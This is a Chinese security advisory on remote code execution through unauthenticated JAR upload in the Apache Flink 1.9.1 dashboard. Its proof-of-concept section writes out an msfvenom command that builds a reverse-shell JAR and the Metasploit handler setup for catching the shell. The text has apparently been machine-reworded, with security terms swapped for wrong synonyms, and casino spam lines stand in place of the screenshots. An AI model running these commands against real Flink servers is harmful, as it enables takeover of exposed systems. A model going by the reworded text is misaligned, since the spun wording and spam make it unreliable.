Apache Flink 恣意Jar包上传导致远程代码执行误差清静通告

宣布时间 2019-11-14

误差编号和级别


CVE编号:暂无,危险级别:高危,CVSS分值:官方未评定


影响版本


至现在最新版本Apache Flink 1.9.1


误差概述


Apache Flink是由Apache软件基金会开发的开源流处置惩罚框架,其焦点是用Java和Scala编写的漫衍式流数据流引擎。Flink以数据并行和流水线方法执行恣意流数据程序,Flink的流水线运行时系统可以执行批处置惩罚和流处置惩罚程序。别的,Flink的运行时自己也支持迭代算法的执行。


Apache Flink的数据流编程模子在有限和无限数据集上提供单次事务(event-at-a-time)处置惩罚。在基础层面,Flink程序由流和转换组成。


Apache Flink的API:有界或无界数据流的数据流API、用于有界数据集的数据集API、表API。


Apache Flink Dashboard 中可上传恶意jar包并触发恶意代码执行。由于Apache Flink Dashboard 默认无需认证即可会见,因此该误差可用作获取shell。


误差验证


POC:https://twitter.com/jas502n/status/1193869996717297664。


测试情形:Apache Flink 1.9.1


1、上传msf天生的jar包,天生rce.jar文件


msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar


尊龙凯时 - 人生就是搏!


2、设置msf监听


use exploit/multi/handler

set payload java/shell/reverse_tcp

set LHOST 127.0.0.1

set LPORT 8087

show options

run


尊龙凯时 - 人生就是搏!


在Submit New Job处上传rec.jar文件,点击submit


尊龙凯时 - 人生就是搏!


乐成反弹shell,执行id可看到效果


尊龙凯时 - 人生就是搏!



修复建议


该误差官方尚未宣布清静更新以及解决要领,请受影响的用户实时关注Apache Flink官网:https://flink.apache.org/downloads.html。


缓解步伐:

建议设置防火墙战略,仅允许白名单ip会见 apache flink服务,并在Web代理(如apache httpd)中增添对该服务的digest认证。


参考链接


https://twitter.com/jas502n/status/1193869996717297664